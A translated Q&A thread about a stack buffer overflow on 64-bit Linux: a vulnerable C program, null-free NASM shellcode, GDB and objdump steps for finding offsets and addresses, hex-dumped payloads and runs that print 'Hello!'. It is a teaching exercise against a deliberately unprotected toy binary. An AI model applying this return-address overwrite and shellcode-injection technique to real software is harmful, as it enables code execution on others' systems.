[英]Unable to inject shellcode in vulnerable program
我正在研究基于堆栈的缓冲区溢出漏洞。 我想注入我写的以下 shellcode:
BITS 64
jmp short one
two:
pop rcx
xor rax,rax
mov al, 4
xor rbx, rbx
inc rbx
xor rdx, rdx
mov dl, 15
int 0x80
mov al, 1
dec rbx
int 0x80
one:
call two
db "Hello, Friend.\n", 0x0a
我禁用了 ASLR ( echo 0 > /proc/sys/kernel/randomize_va_space
) 并使用-fno-stack-protector -z execstack
编译了程序,但仍然在我运行命令时:
root@computer# ./simple $(python3 -c 'print("A" * 64 + "\x6b\xe7\xff\xff\xff\x7f")')
这就是我得到的:
Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkçÿÿÿ
Segmentation fault
偏移量(64)是在gdb中计算的(变量缓冲区和rbp之间的距离)。 命令中的地址是0x7fffffffe76b
的小字节序,即 shellcode 所在的环境变量。我还对注入的程序进行了 hexdump,确保不存在空字节:
00000000 eb 1a 59 48 31 c0 b0 04 48 31 db 48 ff c3 48 31 |..YH1...H1.H..H1|
00000010 d2 b2 0f cd 80 b0 01 48 ff cb cd 80 e8 e1 ff ff |.......H........|
00000020 ff 48 65 6c 6c 6f 2c 20 46 72 69 65 6e 64 2e 5c |.Hello, Friend.\|
00000030 6e 0a |n.|
00000032
地址是使用以下方法计算的:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int pl = strlen(*argv);
char *addr = getenv(*++argv);
addr += (pl - strlen(*++argv))*2;
printf("\n%s @ %p\n\n", *--argv, addr);
}
Jon Erickson 书中程序的更改版本。
这是有漏洞的程序:
//simple.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void hidden(void){
printf("Welcome to the dark side, young padawan");
exit(0);
}
void welcome(char *s){
char buffer[50];
//int placeholder = 13;
strcpy(buffer, "Welcome ");
strcat(buffer, s);
printf("%s\n", buffer);
}
int main(int argc, char **argv){
if(--argc < 1){
printf("\nUsage: %s [NAME]\n\n", *argv);
exit(1);
}
welcome(*++argv);
}
最后,我深入使用 GDB,发现了一件奇怪的事情,我不知道如何避免(或修复):
(gdb) p $rbp - $rsp
$1 = 80
(gdb) x/48x $rsp-80
0x7fffffffdd90: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffdda0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffddb0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffddc0: 0x00000000 0x00000000 0xf7ffe180 0x00007fff
0x7fffffffddd0: 0x00000002 0x00000000 0x555551bf 0x00005555
0x7fffffffdde0: 0x00000000 0x00000000 0xffffe2cf 0x00007fff
0x7fffffffddf0: 0x636c6557 0x20656d6f 0x41414141 0x41414141
0x7fffffffde00: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffde10: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffde20: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffde30: 0x41414141 0x41414141 0xafc394c2 0xc335b8c3
0x7fffffffde40: 0xff007fbc 0x00007fff 0x00000000 0x00000001
(gdb) c
Continuing.
Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAïø5ü
Program received signal SIGSEGV, Segmentation fault.
0x00005555555551cd in welcome (s=0x7fffffffe2cf 'A' <repeats 64 times>, "\302\224ïø5ü\177") at simple.c:16
16 }
在填充 ( 0x41
) 之后,返回地址由于\xff
的双字节表示而被破坏。
有人可以帮助我理解为什么我无法注入 shellcode 吗?
首先,在利用 64 位可执行文件时使用 64 位代码。 int 0x80
是旧的 32 位系统调用接口。
其次,您可以在缓冲区本身中传递 shellcode,使其同时充当 shellcode 和填充。 如果您仍想使用环境变量,请参阅下文。
我不会全局禁用 ASRL,而是依靠 GDB 设置调试进程的适当个性来单独禁用 ASRL。
由于进程从命令行读取字符串,这变得棘手(但不多),因为命令行参数会将堆栈指针向下移动(它们越大,堆栈指针越低)在程序入口点( Linux 将环境变量和命令行参数保存在堆栈之上)。
这将更改加载 shellcode 的实际地址。
所以你首先需要知道 shellcode 有多大,为此你还需要知道覆盖返回地址需要多少数据,你可以通过检查welcome
的反汇编来做到这一点。
对于一个如此简单的函数, objdump
就足够了:
000000000000118b <welcome>:
118b: 55 push %rbp
118c: 48 89 e5 mov %rsp,%rbp
118f: 48 83 ec 50 sub $0x50,%rsp
1193: 48 89 7d b8 mov %rdi,-0x48(%rbp) ;message
1197: 48 8d 45 c0 lea -0x40(%rbp),%rax ;buffer
119b: 48 b9 57 65 6c 63 6f movabs $0x20656d6f636c6557,%rcx "Welcome "
11a2: 6d 65 20
11a5: 48 89 08 mov %rcx,(%rax)
11a8: c6 40 08 00 movb $0x0,0x8(%rax)
11ac: 48 8b 55 b8 mov -0x48(%rbp),%rdx ;message
11b0: 48 8d 45 c0 lea -0x40(%rbp),%rax ;buffer
11b4: 48 89 d6 mov %rdx,%rsi
11b7: 48 89 c7 mov %rax,%rdi
11ba: e8 91 fe ff ff call 1050 <strcat@plt> ;<--
11bf: 48 8d 45 c0 lea -0x40(%rbp),%rax
11c3: 48 89 c7 mov %rax,%rdi
11c6: e8 65 fe ff ff call 1030 <puts@plt>
11cb: 90 nop
11cc: c9 leave
11cd: c3 ret
您可以从我的评论中看到字符串buffer
位于rbp-0x40
。
所以我们需要 64 个字节到达帧指针加上 8 个字节到达返回地址加上返回地址本身的 8 个字节。
但是我们在字符串"Welcome "
之后开始,因为这是一个strcat
,所以总的 shellcode 大小是 64 + 8 + 8 - 8 = 72 字节。
创建一个 72 字节的文件:
> python -c 'print("A"*72, end="")' > shellcode
现在使用这个文件和 GDB 找出buffer
的地址:
> gdb ./simple -ex 'b welcome' -ex 'r $(cat shellcode)' -ex 'p &buffer'
...
Breakpoint 1, welcome (s=0x7fffffffe78f 'A' <repeats 72 times>) at simple.c:13
13 strcpy(buffer, "Welcome ");
$1 = (char (*)[50]) 0x7fffffffe2d0
0x7fffffffe2d0
是我们现在知道的buffer
地址:
buffer
: 0x7fffffffe2d8
是时候编写一个 shellcode 并对其进行测试了。 由于我们在命令行中传递它,因此它也不能包含新行。 然而,打印一个新行对于将当前行刷新到标准输出很有用,所以我使用了一个丑陋的 hack 在运行时在字符串的末尾创建一个新行。
丑陋的shellcode代码是:
BITS 64
;Systemcalls numbers
%define SYS_WRITE 1
%define SYS_EXIT 60
;Constants
%define STDOUT 1
%define MASK 0x01010101
;Emulate a zero-free move of a byte
%macro zfmov 2
push %2
pop %1
%endm
;Emulate a zero-free "lea" (not 100% safe, if %2 is -MASK the displacement will be zero)
%macro zflea 2
lea %1, [REL %2 + MASK] ;Add the mask to avoid zeros for small displacements
sub %1, MASK ;Remove the mask
%endm
;--- Write a message ---
zfmov rax, SYS_WRITE
zfmov rdi, STDOUT
zflea rsi, message
mov BYTE [rsi+message.len-1], 0xaa ;Make the new line replacing the last char of the string
xor BYTE [rsi+message.len-1], 0xa0 ;Turn 0xaa into 0x0a
zfmov rdx, message.len
syscall
;Exit
zfmov rax, SYS_EXIT
xor edi, edi
syscall
message db "Hello!A" ;Last char is replaced with a new line
.len EQU $-message
现在组装这个:
> nasm shellcode.asm -o shellcode
并添加任何填充以使文件大小为 64 字节,然后添加上面找到的返回地址:
0000:0000 | 6A 01 58 6A 01 5F 48 8D 35 1C 01 01 01 48 81 EE | j.Xj._H.5....H.î
0000:0010 | 01 01 01 01 C6 46 06 AA 80 76 06 A0 6A 07 5A 0F | ....ÆF.ª.v. j.Z.
0000:0020 | 05 6A 3C 58 31 FF 0F 05 48 65 6C 6C 6F 21 41 41 | .j<X1ÿ..Hello!AA
0000:0030 | 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0040 | D8 E2 FF FF FF 7F 00 00 | Øâÿÿÿ...
堆栈按 16 字节对齐,因此只要您的 shellcode 长度在 0x40 和 0x4f 之间(包括末尾),shellcode 地址就不会改变。
最后,运行shellcode:
> gdb ./simple -ex 'r $(cat shellcode)'
...
Welcome jXj_H�5H���F��v�jZj<X1�Hello!AAAAAAAAAAAAAAAAAA�����
Hello!
[Inferior 1 (process 168571) exited normally]
我假设您阅读了上面的部分。
envar 的地址取决于它的大小和命令行参数的大小。 命令行参数必须至少有 64 + 6 个字节长(6 是因为返回地址的最后两个字节为零,所以 6 个就足够了),shellcode 可以是任意大小。 为了简单起见,我们可以将两个文件都设为 70 字节长。
更准确地说:envar 的地址对 shellcode 的字节粒度大小敏感,但它仅在 16B 步(一旦这个数量被称为段落)上对命令行参数的大小敏感,因为堆栈是在这个尺寸上对齐。
编写一个具有可识别模式的70 字节文件,例如:
0000:0000 | 43 41 4E 41 52 59 41 41 41 41 41 41 41 41 41 41 | CANARYAAAAAAAAAA
0000:0010 | 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0020 | 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0030 | 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0040 | 41 41 41 41 41 41 | AAAAAA
称之为pattern
。 这将模拟 shellcode,我们现在需要它有一些我们可以搜索的不同字节。
使用另一种模式创建另一个 70 字节的文件:
0000:0000 | 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0010 | 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0020 | 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0030 | 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0040 | 41 41 41 41 41 41 | AAAAAA
称之为placeholder
。 这将模拟命令行参数。
使用 gdb 查找 envar 的位置。 请记住,我们需要传递 70 个字节作为命令行参数来模拟程序运行的条件。
文件placeholder
将用于此目的,文件pattern
将用于在内存中搜索其第一个字节。
> SC=$(cat pattern) gdb ./simple -ex 'b main' -ex 'r $(cat placeholder)' -ex 'find /b1 $rsp, +3000, 0x43, 0x41, 0x4e, 0x41' -ex 'p $_'
...
Breakpoint 1, main (argc=2, argv=0x7fffffffe3f8) at simple.c:19
19 if(--argc < 1){
0x7fffffffec1f
1 pattern found.
$1 = (void *) 0x7fffffffec1f
现在编辑占位符并将找到的地址放在最后 6 个字节中:
0000:0000 | 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0010 | 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0020 | 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0030 | 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA
0000:0040 | 1F EC FF FF FF 7F | .ìÿÿÿ.
这是命令行参数的最终值。
最后制作shellcode。 它几乎是一样的,但现在我们可以使用值 0x0a 的字节,我将它填充到 70 字节:
BITS 64
;Systemcalls numbers
%define SYS_WRITE 1
%define SYS_EXIT 60
;Constants
%define STDOUT 1
%define MASK 0x01010101
;Emulate a zero-free move of a byte
%macro zfmov 2
push %2
pop %1
%endm
;Emulate a zero-free "lea" (not 100% safe, if %2 is -MASK the displacement will be zero)
%macro zflea 2
lea %1, [REL %2 + MASK] ;Add the mask to avoid zeros for small displacements
sub %1, MASK ;Remove the mask
%endm
;--- Write a message ---
zfmov rax, SYS_WRITE
zfmov rdi, STDOUT
zflea rsi, message
zfmov rdx, message.len
syscall
;Exit
zfmov rax, SYS_EXIT
xor edi, edi
syscall
message db "Hello!", 0x0a ;Last char is replaced with a new line
.len EQU $-message
TIMES 70 -($-$$) db 'A'
组装它:
> nasm shellcode.asm -o shellcode
我们现在可以运行它:
> SC=$(cat shellcode) gdb ./simple -ex 'r $(cat placeholder)'
...
Welcome CANARYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
Hello!
[Inferior 1 (process 170902) exited normally]
Out 的策略是使用 GDB 在程序被利用时复制程序运行时条件。
在第一节中,我们对查找buffer
的地址很感兴趣,我们意识到这取决于命令行参数的大小,因此我们首先通过静态分析程序找出buffer
的大小,然后我们使用伪造的 shellcode。
利用本身是非常基本的,堆栈是可执行的,返回地址只是被覆盖以引导执行。
在第二部分中,我们有兴趣找到内核放置在堆栈上方的 envar 值的地址。
我们以相同的方式进行,我们使用伪造的命令行参数、具有可识别模式的伪造 shellcode 和 GDB 来查找 envar 值的地址。
这次我们必须更加注意确切的大小,至少对于 shellcode 本身。
利用与前一个类似,但 shellcode 位于一个 envar 中(允许换行符和诸如此类的东西)。 有什么兴趣找地址
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.